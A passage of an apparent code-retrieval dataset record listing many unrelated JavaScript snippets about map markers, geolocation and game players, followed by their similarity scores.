174.78362\\n\\t\\t},\\n\\t\\tmap: map,\\n\\t\\tanimation: google.maps.Animation.DROP,\\n\\t\\ticon: \\\"img/person.png\\\",\\n\\t\\ttitle : \\\"Yoobee School of Design\\\",\\n\\t\\tdescription: \\\"Description for Yoobee School of Design\\\"\\n\\t})\\n}\",\n \"getPlayerByName(playerName) {\\n return this.players.find((value) => {\\n return (value._player.name === playerName);\\n });\\n }\",\n \"function getloc()\\n{\\n\\n\\tvar latlng = new google.maps.LatLng(shuttle.position.latitude, shuttle.position.longitude);\\n geocoder.geocode({ latLng: latlng }, function(results, status){\\n\\t\\tfor(ac in results[0].address_components)\\n\\t\\t{\\n\\t\\t\\t//console.log(results[0].address_components[ac].types);\\n\\t\\t\\tif(results[0].address_components[ac].types == \\\"route\\\")\\n\\t\\t\\t{\\n\\t\\t\\t\\t$(\\\"#currentstreet\\\").html(\\\"Street name: \\\" + results[0].address_components[ac].long_name);\\n\\t\\t\\t}\\n\\t\\t}\\n });\\n\\n\\n}\",\n \"get(name){\\n let gameId = this.list.findIndex(i => i.getName() === name.toLowerCase());\\n return this.list[gameId];\\n }\",\n \"function addMarker(map,info_friend,info_bulle){\\n var marker = new google.maps.Marker({\\n position: new google.maps.LatLng(info_friend.lat, info_friend.lng),\\n label: \\\"\\\" + info_friend.name,\\n map: map,\\n title : \\\"Location of \\\" + info_friend.name\\n });\\n\\n marker.addListener('click', function() {\\n info_bulle.open(map, marker);\\n });\\n return marker;\\n}\",\n \"function getInfo (name) {\\n\\tconsole.log(name);\\n\\tconst playerId = name.accountId;\\n\\tconsole.log(`Account ID: ${playerId}`);\\n\\tconst playerName = name.name;\\n\\tconsole.log(`Player name: ${playerName}`);\\n\\tconst summonerLevel = name.summonerLevel;\\n\\tconsole.log(`Player Level: ${summonerLevel}`);\\n\\tconst profileIcon = name.profileIconId;\\n\\tconsole.log(`Icon number: ${profileIcon}`);\\n\\trenderName(playerName, summonerLevel, profileIcon);\\n\\t$('.matches').html(`${playerName}'s last 3 matches`);\\n\\tgetRecentMatches(playerId, getMatchList);\\n}\",\n \"function positionOf(symb, someBoard, player) {\\n\\n\\t//print_board(someBoard);\\n\\n\\tvar tempSq = {};\\n\\n\\tfor ( var a = 0; a <= 11; a++) {\\n\\t\\tfor (var b = 0; b <= 11; b++) {\\n\\n\\t\\t\\tif (someBoard[a][b].symbol.includes(symb) && player === someBoard[a][b].player){\\n\\n\\t\\t\\t\\ttempSq.row = a;\\n\\t\\t\\t\\ttempSq.col = b;\\n\\t\\t\\t\\treturn tempSq;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"function findMarkerIndex(name) {\\n //name 'SFO - San Fr...'\\n return markers.findIndex(function (m) {\\n return m.title === name;\\n });\\n}\",\n \"createPlayer() {\\n let startWithBob = true;\\n this.map.findObject('Player', (obj) => {\\n if (obj.type === 'StartPosition') {\\n if (obj.properties && obj.properties.hasOwnProperty('Start')) startWithBob = false;\\n if (obj.name === 'Bob') {\\n this.bob = new Bob(this, obj.x, obj.y);\\n this.bob.depth = 100;\\n this.game.Bob = this.bob;\\n }\\n if (obj.name === 'Flit') {\\n this.flit = new Flit(this, obj.x, obj.y);\\n this.flit.depth = 100;\\n this.game.Flit = this.flit;\\n }\\n }\\n });\\n\\n this.ActivePlayer = startWithBob ? this.game.Bob : this.game.Flit;\\n this.cameras.main.startFollow(this.ActivePlayer);\\n }\",\n \"getNewPosition() {\\r\\n this.newPosition = this.positionRandom();\\r\\n // Cree une fonction qui test avec marge les nouvelle position des bombs\\r\\n // Transformer et juste tester si une element avec une position similaire est deja sur la map \\r\\n return this.newPosition;\\r\\n }\",\n \"function prepEventMarker(){\\n\\tvar eventDetails = getEventData();\\n\\tvar location = eventDetails[0];\\n\\tvar title = eventDetails[1];\\n\\n\\t//We need to be careful with the location. When we store it, the location name usually comes before the address\\n\\t//ie Vancouver Pizza: 225 Main St.\\n\\tvar locationSplit = location.split(':'); //This assumes a colon isn't used in an address (which I belive is safe to assume)\\n\\tif(locationSplit.length>1){ //The name was in there\\n\\t\\tlocation = locationSplit[1]; //Set the location to just the address\\n\\t}\\n\\n\\tconsole.log('Initing with: Title: ' + title + \\\" Loc: \\\" + location);\\n\\tinitEventData(title, location);\\n}\",\n \"function winnerName() {\\n if(winnerAddress === myAddress) {\\n return \\\"Me\\\";\\n }\\n if(winnerAddress === oppAddress) {\\n return \\\"Opponent\\\";\\n }\\n }\",\n \"function place(name, address, road){\\n this.name = name;\\n this.address = address;\\n this.road = road;\\n console.log(`${this.name} ${this.address} ${this.road}`);\\n if (this.name == 'ctg'){\\n this.name = 'Chittagong';\\n }\\n console.log(`${this.name} ${this.address} ${this.road}`);\\n}\",\n \"function reportPosition() {\\n var p = distanceWidget.get('position'),\\n d = distanceWidget.get('distance'),\\n name = $('input[name=name]');\\n \\n socket.send(JSON.stringify({\\n 'action': 'update position',\\n 'lat': p.lat(), \\n 'lng': p.lng(), \\n 'distance': d, \\n 'name': name.val() \\n }));\\n}\",\n \"function mainMarker(x,y,name,i) {\\n \\n \\n var marker = new google.maps.Marker({\\n position: {lat: x, lng: y},\\n map: map,\\n label:(++i).toString(), \\n \\n title: name\\n });\\n markerArray.push(marker);\\n }\",\n \"function playerBattedInMatchAtPos(playerId, matchNo, battingPos)\\n{\\n if (playerId == -1)\\n return true;\\n\\n if (MATCHES_ARRAY[matchNo]['batsmanIDarray'][battingPos - 1] == playerId)\\n return true;\\n else\\n return false;\\n}\",\n \"function emitBeaconUpdate(id) {\\n var ship = ships.shipGet(id)\\n var out = {};\\n\\n out[id] = ship.spawnPoint;\\n\\n io.sockets.emit('shipbeaconstat', out);\\n}\",\n \"function addSugar(name, x, y) {\\n\\tlocs.push([x, y]);\\n\\tnames.push(name);\\n}\",\n \"function getSpawnPosition(source) {\\n var positions = getSamplePositions(source.room, source.pos, 5),\\n closest;\\n positions = _.filter(positions, (position) => (Game.map.getTerrainAt(position) == 'plain'));\\n closest = source.pos.findClosestByPath(positions);\\n return closest;\\n}\",\n \"function createBeacon() {\\n\\n // throws an error if the parameters are not valid\\n var beaconRegion = new cordova.plugins.locationManager.BeaconRegion(identifier, uuid, major, minor);\\n\\n return beaconRegion; \\n}\",\n \"function searchGameRoom(gamerooms,name){\\n\\tfor (var i = 0 ; i < gamerooms.length ; i++ ){\\n\\t\\tif(gamerooms[i].name === name){\\n\\t\\t\\treturn i;\\n\\t\\t}\\n\\t}\\n\\treturn -1;\\n}\",\n \"function findPlate(plate_name) {\\n for(i = 0; i < ordered_plates.length; i++) {\\n if (ordered_plates[i].name.localeCompare(plate_name) == 0) {\\n return ordered_plates[i];\\n }\\n }\\n }\",\n \"@wire(getRecord, { recordId: '$recordId', fields })\\n loadBear({ error, data}){\\n if(error){\\n //Handle error\\n } else if (data){\\n //Get bear Data\\n this.name = data.fields.Name.value;\\n const Latitude = data.fields.Location__Latitude__s.value;\\n const Longitude = data.fields.Location__Longitude__s.value;\\n //Transformar bear data en map markers\\n this.mapMarkers = [{\\n location: {Latitude, Longitude},\\n title: this.name,\\n description: 'Coords: ' + {Latitude} + ', ' + {Longitude}\\n }];\\n }\\n }\",\n \"function getSummonerName(){\\n\\n}\",\n \"findClosest(mapItem) {\\n let closestNames = [];\\n\\n this.state.mapTextItems.forEach(mapTextItem => {\\n if (mapItem.regionId === mapTextItem.regionId) {\\n let xdif = Math.abs(mapItem.x - mapTextItem.x);\\n let ydif = Math.abs(mapItem.y - mapTextItem.y);\\n let distance = Math.sqrt(Math.pow(xdif, 2) + Math.pow(ydif, 2));\\n closestNames.push({ text: mapTextItem.text, distance: distance });\\n }\\n });\\n\\n closestNames.sort(this.compare);\\n return closestNames[0].text;\\n }\",\n \"if(snakes[1].loc.dist(food.loc) === 0){\\n food.pickLoc();\\n snakes[1].addSegment();\\n\\n}\",\n \"function findVertex(name) {\\n\\t\\tvar objects = alasql.databases[alasql.useid].objects;\\n\\t\\tfor(var k in objects) {\\n\\t\\t\\tif(objects[k].name === name) {\\n\\t\\t\\t\\treturn objects[k];\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn undefined;\\n\\t}\",\n \"map_attribute_name_to_buffer_name( name ) // The shader will pull single entries out of the vertex arrays, by their data fields'\\n { \\n return { object_space_pos: \\\"positions\\\" }[ name ]; // Use a simple lookup table.\\n }\",\n \"function animatePoint(name) {\\n for (let item in points){\\n if (points[item].title == name) {\\n points[item].setAnimation(google.maps.Animation.BOUNCE);\\n showForsquareInfo(\\n points[item].getPosition().lat(),\\n points[item].getPosition().lng(),\\n points[item].getTitle()\\n );\\n //Makes the marker bounce only once\\n setTimeout(function(){ points[item].setAnimation(null); }, 700);\\n }\\n }\\n}\",\n \"function place_player()\\n{\\n\\tvar col;\\n\\tvar row;\\n\\t\\n\\tswitch(player_number)\\n\\t{\\n\\t\\tcase 0:\\n\\t\\t\\tif(is_two_player_game)\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 27;\\n\\t\\t\\t\\trow = 20;\\n\\t\\t\\t}\\n\\t\\t\\telse\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 27;\\n\\t\\t\\t\\trow = 19;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t\\tbreak;\\n\\t\\tcase 1:\\n\\t\\t\\tif(is_two_player_game)\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 29;\\n\\t\\t\\t\\trow = 20;\\n\\t\\t\\t}\\n\\t\\t\\telse\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 29;\\n\\t\\t\\t\\trow = 21;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t\\tbreak;\\n\\t\\tcase 2:\\n\\t\\t\\tcol = 29;\\n\\t\\t\\trow = 19;\\n\\t\\t\\tbreak;\\n\\t\\tcase 3:\\n\\t\\t\\tcol = 27;\\n\\t\\t\\trow = 21;\\n\\t\\t\\tbreak;\\n\\t}\\n\\t\\n\\tvar player_text = Crafty.e(\\\"2D, DOM, Text\\\")\\n\\t\\t.attr({x: col * 16, y: row * 16 - 15, w: 75})\\n\\t\\t.textColor('#FFFFFF')\\n\\t\\t.text(list_of_users[player_number]);\\n\\t\\t\\n\\tplayer = Crafty.e('PlayerCharacter').at(col, row).attach(player_text);\\n}\",\n \"function itemByName (name) {\\n return bot.inventory.items().filter(item => item.name === name)[0]\\n}\",\n \"function findMarker(buffer, position) {\\n var index;\\n for (index = position; index < buffer.length; index++) {\\n if ((buffer[index] == marker1) && (buffer[index + 1] == marker2))\\n return index;\\n }\\n return -1;\\n}\",\n \"who(currentPlayer, channel){\\n let map = this.maps[currentPlayer.position]\\n let nearbyPlayers = new Array()\\n this.players.forEach(player => {\\n if(player !== currentPlayer && player.position === currentPlayer.position){\\n nearbyPlayers.push(player)\\n }\\n })\\n return nearbyPlayers\\n }\",\n \"function addmarkerforpeaks() {\\n for (var i = 0; i < snowCaps.peaks.length; i++) {\\n // Get the position from the location array.\\n var position = snowCaps.peaks[i].position;\\n var title = snowCaps.peaks[i].name;\\n //console.log(title,position);\\n // Create a marker per location, and put into markers array.\\n var marker = new google.maps.Marker({\\n position: position,\\n title: title,\\n map: map,\\n icon: 'https://www.distancebetween.us/assets/img/apple-icon-60x60.png',\\n animation: google.maps.Animation.DROP,\\n });\\n // Push the marker to our array of markers.\\n markers.push(marker);\\n }\\n}\",\n \"function getPosFinder(pos){\\n var posFinder = balloonpositionsarray[0].find(function(element) {\\n return element == pos;\\n });\\n\\n return posFinder;\\n }\",\n \"function locationName () {\\n place.className = 'current-location';\\n document.getElementsByTagName('body')[0].appendChild(place);\\n // place.innerHTML = loc.address_components[1].long_name + ', ' + loc.address_components[2].long_name;\\n // check for errors and using previous manual location\\n if (usingPrevious) {\\n changeLink.innerText = 'change';\\n changeLink.href = '#';\\n changeLink.className = 'last-known';\\n changeLink.addEventListener('click', function (e) {\\n e.preventDefault();\\n Tab.changeLocation();\\n });\\n place.innerHTML = loc.formatted_address +\\n 'Using last known location ';\\n place.appendChild(changeLink);\\n // console.log(changeLink)\\n // TODO: add change location here\\n } else {\\n place.innerHTML = loc.formatted_address;\\n }\\n }\",\n \"function collectPlayer(name) {\\n if (name === game.players[game.turn].name) {\\n setDrawer(game);\\n } \\n else {\\n setGuesser(name);\\n }\\n \\n }\",\n \"born(x, y) {\\n let l = createVector(x, y);\\n let dna = new DNA();\\n let name = this.makeid(8);\\n console.log(name);\\n this.creatures.push(new Creature(l, dna, name));\\n }\",\n \"try_to_match_local(data_received){\\n\\t\\tlet data = {'type':'try_to_match', 'id': this.guid, 'latitude': this.latitude, 'longitude': this.longitude}\\n\\t\\tsend_msg(data)\\n\\t}\",\n \"function CurrentLocation() {\\n Marker1=new google.maps.LatLng(clat, clng); addMarker(Marker1, \\\"Current Location\\\");\\n }\",\n \"function getKey_(position) \\n{\\n return \\\"key-\\\"+ OsmMaps.position.coords.latitude.toFixed(4) + \\\"-\\\" + OsmMaps.position.coords.longitude.toFixed(4);\\n}\",\n \"function markerPosition(position)\\n{\\n\\tvar id = $('#'+position);\\n\\tif(turno)\\n\\t{\\n\\t\\tif(isFull(position))\\n\\t\\t{\\n\\t\\t\\tboard[position]=llenoA;\\n\\t\\t\\tnumJugadas1++;\\n\\t\\t\\tid.find('i').remove();\\n\\t\\t\\tid.append('');\\n\\t\\t\\t$('#mov1').text(numJugadas1);\\n\\t\\t\\tturno=false;\\n\\t\\t\\tif(isChampion(llenoA))\\n\\t\\t\\t{\\n\\t\\t\\t\\tlocalStorage.setItem('ganador',$(\\\"#jugador1\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('perdedor',$(\\\"#jugador2\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('numJugadas', numJugadas1);\\n\\n\\t \\t\\t\\tswal({\\n \\t\\t\\t\\ttitle: \\\"¡Felicidades \\\"+$(\\\"#jugador1\\\").val()+\\\" Ganaste!\\\",\\n \\t\\t\\t\\timageUrl: \\\"img/goods.png\\\"\\n \\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\talert(\\\"Esta posicion ya esta llena\\\");\\n\\t\\t}\\n\\t}\\n\\telse\\n\\t{\\n\\t\\tif(isFull(position))\\n\\t\\t{\\n\\t\\t\\tboard[position]=llenoB;\\n\\t\\t\\tnumJugadas2++;\\n\\t\\t\\tid.find('i').remove();\\n\\t\\t\\tid.append('');\\n\\t\\t\\t$('#mov2').text(numJugadas2);\\n\\t\\t\\tturno=true;\\n\\t\\t\\tif(isChampion(llenoB))\\n\\t\\t\\t{\\n\\t\\t\\t\\tlocalStorage.setItem('ganador',$(\\\"#jugador2\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('perdedor',$(\\\"#jugador1\\\").val());\\n\\n\\t\\t\\t\\tlocalStorage.setItem('numJugadas',numJugadas2);\\n\\t\\t\\t\\tswal({\\n \\t\\t\\t\\ttitle: \\\"¡Felicidades \\\"+$(\\\"#jugador2\\\").val()+\\\" Ganaste!\\\",\\n \\t\\t\\t\\timageUrl: \\\"img/goods.png\\\"\\n \\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\talert(\\\"Esta posicion ya esta llena\\\");\\n\\t\\t}\\n\\n\\t}\\n}\",\n \"function insertName1(){\\n let playerSpan1 = $(`.Player1`)\\n let playerInput1 = $(`input.button1`)\\n \\n playerInput1.on(`input`,function(){\\n gameState.playerNames[0] = ($(this).val())\\n playerSpan1.text(gameState.playerNames[0])\\n return playerSpan1\\n })\\n}\",\n \"function Start () {\\n\\tUpperLaser = GameObject.Find(\\\"MapScript\\\");\\n\\t//LowerLaser = GameObject.Find(\\\"MapScript02\\\");\\n\\tFlameThrower = GameObject.Find(\\\"FlameThrower\\\");\\n\\tBeam = GameObject.Find(\\\"MapScriptB\\\");\\n\\tTrapSpawn = GameObject.Find(\\\"TrapSpawn\\\");\\n\\t//Saw = GameObject.Find(\\\"ChainSaw\\\");\\n}\",\n \"openInfoWindow(marker, longName) {\\n this.closeInfoWindow();\\n this.state.infowindow.open(this.state.map, marker);\\n marker.setAnimation(window.google.maps.Animation.BOUNCE);\\n this.setState({\\n 'prevmarker': marker\\n });\\n this.state.infowindow.setContent('Loading Data...');\\n this.state.map.setCenter(marker.getPosition());\\n this.state.map.panBy(0, -150);\\n if(longName.includes(\\\"Eric\\\"))\\n {\\n this.getOurBF4MarkerInfo(marker, longName, 'Diabeeeeeeeeetus');\\n }\\n if (longName.includes(\\\"Violet\\\"))\\n {\\n this.getOurBF4MarkerInfo(marker, longName, 'djbobbysocks');\\n }\\n else{\\n this.getMarkerInfo(marker, longName);\\n }\\n }\",\n \"function dropMarker(a, b, courtname){\\n\\tvar lat = a;\\n\\tvar lon = b;\\n\\tmyLatlng = new google.maps.LatLng(lat, lon);\\n\\tvar marker = new google.maps.Marker({\\n\\t\\tposition: myLatlng,\\n\\t\\tmap: map,\\n\\t\\ttitle: courtname\\n\\t});\\n\\tmarker.setMap(map);\\n}\",\n \"function geocodeCords(positionObject) {\\n var geocoder = new google.maps.Geocoder;\\n posLat = positionObject.lat;\\n posLng = positionObject.lng;\\n cordsPos = posLat + \\\", \\\" + posLng;\\n // cordsPos = positionObject;\\n geocoder.geocode({'location': positionObject}, function (results, status) {\\n if (status === 'OK') {\\n if (results[1]) {\\n namePos = (results[1].formatted_address);\\n locationInput.value = namePos;\\n addMarker(positionObject);\\n } else {\\n window.alert('No results found');\\n }\\n } else {\\n window.alert('Geocoder failed due to: ' + status);\\n }\\n });\\n }\",\n \"function zControlBattleMapFollowGamer(position)\\n{\\n zObjectBattleMapLatLng[\\\"gamrLat\\\"] = position.coords.latitude;\\n zObjectBattleMapLatLng[\\\"gamrLng\\\"] = position.coords.longitude;\\n \\n document.getElementById(\\\"map-info-crnt\\\").innerHTML = \\\"CRNT_LAT :{\\\" + zObjectBattleMapLatLng[\\\"crntLat\\\"] + \\\"}:CRNT_LNG :{\\\" + zObjectBattleMapLatLng[\\\"crntLng\\\"] + \\\"}:\\\";\\n document.getElementById(\\\"map-info-gamr\\\").innerHTML = \\\"GAMR_LAT:{\\\" + zObjectBattleMapLatLng[\\\"gamrLat\\\"] + \\\"}:GAMR_LNG:{\\\" + zObjectBattleMapLatLng[\\\"gamrLng\\\"] + \\\"}:\\\";\\n var date = new Date();\\n document.getElementById(\\\"map-info-date\\\").innerHTML = \\\"DATE_TIME:{\\\" + date.getTime() + \\\"}:\\\";\\n \\n if(zObjectBattleMapLatLng[\\\"crntLat\\\"] != zObjectBattleMapLatLng[\\\"gamrLat\\\"]\\n || zObjectBattleMapLatLng[\\\"crntLng\\\"] != zObjectBattleMapLatLng[\\\"gamrLng\\\"])\\n {\\n zObjectBattleMapGamer.setMap(null);\\n \\n var zObjectBattleMapCenterLatLng = new google.maps.LatLng(zObjectBattleMapLatLng[\\\"gamrLat\\\"], zObjectBattleMapLatLng[\\\"gamrLng\\\"]);\\n zObjectBattleMap.setCenter(zObjectBattleMapCenterLatLng);\\n \\n zObjectBattleMapGamer = new google.maps.Marker(\\n {\\n position: zObjectBattleMapCenterLatLng,\\n map: zObjectBattleMap,\\n title: 'Hello World!'\\n });\\n \\n zObjectBattleMapLatLng[\\\"crntLat\\\"] = zObjectBattleMapLatLng[\\\"gamrLat\\\"];\\n zObjectBattleMapLatLng[\\\"crntLng\\\"] = zObjectBattleMapLatLng[\\\"gamrLng\\\"];\\n }\\n \\n zControlHazardDistancetoGamer();\\n \\n zControlGamerMapStatus({\\n\\t code: 0, \\n\\t message: \\\"Good Map Status\\\",\\n \\ttimeofcoords: position.timestamp,\\n \\tmethod: \\\"zControlBattleMapFollowGamer\\\"\\n\\t});\\n}\",\n \"function updateName1OnDOM() {\\n db.ref('Names/player1').once('value', function (snapshot) {\\n name = snapshot.val();\\n if (name !== null) {\\n var a = $('').html(name).addClass('center-block');\\n $('.player1-name').empty().append(a);\\n }\\n });\\n }\",\n \"function quickBooking(){\\n var closest_restaurant;\\n\\n // Try HTML5 geolocation.\\n if (navigator.geolocation) {\\n navigator.geolocation.getCurrentPosition(function(position) {\\n user_position = {\\n lat: position.coords.latitude,\\n lng: position.coords.longitude\\n };\\n }, \\n function() {\\n handleLocationError(true, infoWindow, map.getCenter());\\n });\\n } else {\\n\\n // Browser doesn't support Geolocation\\n handleLocationError(false, infoWindow, map.getCenter());\\n }\\n\\n // looks up restaurant coordinates in database and puts them in coordinateLookups callback variable.\\n coordinateLookup(function(coordinateLookups){\\n\\n // create object containing users coords for comparison\\n var origin = new google.maps.LatLng(user_position.lat,user_position.lng);\\n\\n // creates marker for each address in list of restaurant coordinates(coordinateLookups)\\n // coordinateLookups also contains restaurant name\\n coordinateLookups.forEach(function(lookup,element){\\n\\n // create object containing restaurantscoordinates for comparison\\n var restaurant_location = new google.maps.LatLng(lookup.Longitude, lookup.Latitude);\\n\\n // if closest rstaurant to unser update closestRestaurant\\n if (closestRestaurant(restaurant_location, origin)) {\\n\\n // updates the vueInstance variable of closestRestaurant\\n vueInstance.closestRestaurant = lookup.Name;\\n }\\n }); \\n\\t\\t \\n\\t // add booking to database (fuct. from entiresite.js)\\n\\t makeBooking('Quick');\\n });\\n }\",\n \"spawnPlayer() {\\n return this._getLocationInArea('player_spawn')\\n }\",\n \"function bmap(name,latt,long){\\r\\n if ((typeof latt==='undefined') || (typeof long==='undefined')) {return name;}\\r\\n return my_href(\\\"http://api.map.baidu.com/marker?location=\\\"+latt.toString()+\\\"%2C\\\"+long.toString()+\\\"&output=html&coord_type=gcj02&title=\\\"+name,name,\\\"bmap\\\");\\r\\n }\",\n \"function placeBid(string name, uint bid) payable {\\n\\n if (now-createdAt < duration){\\n\\n if (bid => highBidder){ // Consider the case when there is no bid ???\\n highBidder = msg.sender; // ??\\n // push bidder where bidder[i].bidder (address)\\n bidders.push(msg.sender);\\n HighBidChanged(msg.sender, name, bid);\\n // biddersMapping[msg.sender].name = name;\\n // biddersMapping[msg.sender].bidder = msg.sender; // address\\n // biddersMapping[msg.sender].bid = bid;\\n // biddersMapping[msg.sender].claimedEthers = false; // at the end of the bidding\\n }\\n } else {\\n BidFailed (msg.value, name, bid )\\n throw;\\n }\\n\\n }\",\n \"function getAsteroidTarget(spawnLocation) {\\n var closest = [0,0,0];\\n var dist = 100;\\n var temp = 0;\\n for (t in station_centers) {\\n temp = vec3.length(vec3.subtract(vec3.create(), vec3.fromValues(station_centers[t][0], station_centers[t][1],\\n station_centers[t][2]), vec3.fromValues(spawnLocation[0], spawnLocation[1], spawnLocation[2])));\\n if (temp < dist) {\\n dist = temp;\\n closest = station_centers[t];\\n }\\n }\\n return closest;\\n}\",\n \"get boatName() { \\n return getFieldValue(this.wiredRecord.data, BOAT_NAME_FIELD);\\n }\",\n \"function makeMarker(position, icon, name) {\\n new google.maps.Marker({\\n position: position,\\n map: gmap,\\n icon: icon,\\n title: name\\n });\\n}\",\n \"function findOrigin(element) {\\n if (element === startStation){\\n return element\\n }\\n}\",\n \"getAddressField(telegram) {\\n let values = telegram.getValues();\\n\\n return values.has('BLOCK1_A') ?\\n values.get('BLOCK1_A') : null;\\n }\",\n \"function getPosition(letra){\\n let position = abd.indexOf(letra);\\n return position;\\n}\",\n \"function findForChar(val)\\n{\\n\\n \\n listTitle=[];\\n listCoord=[];\\n let flag = false;\\n for(let x=0; x-1)\\n {\\n listTitle[x]=locationTitle[x]; \\n listCoord[x]=locationCoord[x];\\n flag=true; \\n }\\n }\\n \\n}\",\n \"function getMockup(e, positionInfo) {\\n return { \\n index: e.index,\\n name: e.label, \\n x: rounder(e.x),\\n y: rounder(e.y),\\n color: e.color,\\n shape: e.shape,\\n size: rounder(e.size),\\n realSize: rounder(e.realSize),\\n facing: rounder(e.facing),\\n layer: e.layer,\\n statnames: e.settings.skillNames,\\n position: positionInfo,\\n guns: e.guns.map(function(gun) {\\n return {\\n offset: rounder(gun.offset),\\n direction: rounder(gun.direction),\\n length: rounder(gun.length),\\n width: rounder(gun.width),\\n aspect: rounder(gun.aspect),\\n angle: rounder(gun.angle),\\n };\\n }),\\n turrets: e.turrets.map(function(t) { \\n let out = getMockup(t, {});\\n out.sizeFactor = rounder(t.bound.size);\\n out.offset = rounder(t.bound.offset);\\n out.direction = rounder(t.bound.direction);\\n out.layer = rounder(t.bound.layer);\\n out.angle = rounder(t.bound.angle);\\n return out;\\n }),\\n };\\n }\",\n \"findTypedLetterByPosition(position) {\\n let result = this.typedLetters.find(typedLetter => {\\n return typedLetter.position.x === position.x && typedLetter.position.y === position.y;\\n });\\n\\n if (typeof result === 'undefined') {\\n result = null;\\n }\\n\\n return result;\\n }\",\n \"function insertMarkerToDB(location, name) {\\n $.ajax({\\n type: 'GET',\\n url: '/MapPoint/create.json',\\n data: {\\n latitude: location.lat,\\n longitude: location.lng,\\n name: name\\n },\\n success: function(data) {\\n //console.log('RESULT: ' + JSON.stringify(data));\\n }\\n });\\n }\",\n \"function getParticipantObjByName(match, name) {\\n var participants = match['participants'];\\n var pids = match['participantIdentities'];\\n var pid = -1;\\n for(i = 0; i < pids.length; i++) {\\n if(pids[i]['player']['summonerName'] == name) {\\n pid = pids[i]['participantId'];\\n break;\\n }\\n }\\n return participants[pid-1];\\n}\",\n \"function createMarker(r){\\n self.showDiv(true);\\n var position, lat, lng;\\n lat = parseFloat(r.location.latitude);\\n lng = parseFloat(r.location.longitude);\\n position = new google.maps.LatLng(lat, lng);\\n /*if(placeBounds.contains(position))\\n {*/\\n var marker = new google.maps.Marker({\\n map: map,\\n position: position,\\n title: r.name,\\n animation: google.maps.Animation.DROP,\\n });\\n bounds.extend(marker.getPosition());\\n\\n\\n var contentString = '' +\\n '
' +\\n '' + r.name + '
' +\\n '' + r.location.address + '
' +\\n 'Average cost for two: $' +\\n r.average_cost_for_two + '
' +\\n '' +\\n '' + 'Menu Url';\\n var address = r.location.address;\\n\\n var newMarker = {marker:marker, content:contentString};\\n\\n // Create an onclick event to open an infowindow at each marker.\\n marker.addListener('click', function() {\\n hideAnimation();\\n marker.setAnimation(google.maps.Animation.BOUNCE);\\n populateInfoWindow(this, largeInfowindow, contentString);\\n });\\n return newMarker;\\n //}\\n } // end of createMarker\",\n \"function Player1Name(value)//Sets the name of player 1 and adds to the list of potential winners if not already there.\\n{\\n model.player1.name=value;\\n var index = model.winners.find(winners => winners.name == value)\\n if(!index){model.winners.push({name:`${model.player1.name}`,wins:0})}\\n}\",\n \"function onLocationFound(location){\\n\\n\\t// Update the model with the coordinate pair for use later.\\n\\tapp.position = location;\\n\\n\\t// If successful, find all nearby brunch locations at those coordinates.\\n findNearbyBrunchLocations(location.coords);\\n\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.55945784","0.55155414","0.5372061","0.53548574","0.52936345","0.5292482","0.52400655","0.52102","0.5159438","0.51353896","0.51154304","0.5113312","0.51111436","0.5110201","0.5109417","0.5098488","0.50911343","0.50832295","0.5079928","0.5076207","0.5045602","0.5038288","0.5030733","0.50182706","0.5015086","0.50018305","0.4996816","0.49821067","0.49794316","0.49780127","0.49687204","0.49633983","0.49513766","0.49499455","0.49455753","0.49244434","0.49115518","0.48922718","0.48646355","0.48593962","0.48577052","0.4855432","0.4838728","0.4838031","0.4825128","0.48249486","0.48244342","0.48162448","0.48043308","0.48003414","0.47997946","0.4796625","0.47905025","0.47849536","0.47799447","0.47776455","0.4755562","0.47546393","0.47448108","0.4740631","0.4735003","0.47313973","0.47295067","0.47244897","0.47141165","0.47077686","0.47056884","0.47052172","0.47045252","0.47029313","0.47026756","0.46973765","0.46937048","0.46884277","0.4683101","0.46794215","0.46791098","0.46743","0.46722734","0.4670856","0.46664122","0.46619037","0.46610492","0.46557167","0.46547738","0.46544635","0.46508488","0.46502376","0.46471956","0.46467066","0.464512","0.4644591","0.46438715","0.46402332","0.46384144","0.46374774","0.46294704","0.4627889","0.46241114","0.46236378"],"string":"[\n \"0.55945784\",\n \"0.55155414\",\n \"0.5372061\",\n \"0.53548574\",\n \"0.52936345\",\n \"0.5292482\",\n \"0.52400655\",\n \"0.52102\",\n \"0.5159438\",\n \"0.51353896\",\n \"0.51154304\",\n \"0.5113312\",\n \"0.51111436\",\n \"0.5110201\",\n \"0.5109417\",\n \"0.5098488\",\n \"0.50911343\",\n \"0.50832295\",\n \"0.5079928\",\n \"0.5076207\",\n \"0.5045602\",\n \"0.5038288\",\n \"0.5030733\",\n \"0.50182706\",\n \"0.5015086\",\n \"0.50018305\",\n \"0.4996816\",\n \"0.49821067\",\n \"0.49794316\",\n \"0.49780127\",\n \"0.49687204\",\n \"0.49633983\",\n \"0.49513766\",\n \"0.49499455\",\n \"0.49455753\",\n \"0.49244434\",\n \"0.49115518\",\n \"0.48922718\",\n \"0.48646355\",\n \"0.48593962\",\n \"0.48577052\",\n \"0.4855432\",\n \"0.4838728\",\n \"0.4838031\",\n \"0.4825128\",\n \"0.48249486\",\n \"0.48244342\",\n \"0.48162448\",\n \"0.48043308\",\n \"0.48003414\",\n \"0.47997946\",\n \"0.4796625\",\n \"0.47905025\",\n \"0.47849536\",\n \"0.47799447\",\n \"0.47776455\",\n \"0.4755562\",\n \"0.47546393\",\n \"0.47448108\",\n \"0.4740631\",\n \"0.4735003\",\n \"0.47313973\",\n \"0.47295067\",\n \"0.47244897\",\n \"0.47141165\",\n \"0.47077686\",\n \"0.47056884\",\n \"0.47052172\",\n \"0.47045252\",\n \"0.47029313\",\n \"0.47026756\",\n \"0.46973765\",\n \"0.46937048\",\n \"0.46884277\",\n \"0.4683101\",\n \"0.46794215\",\n \"0.46791098\",\n \"0.46743\",\n \"0.46722734\",\n 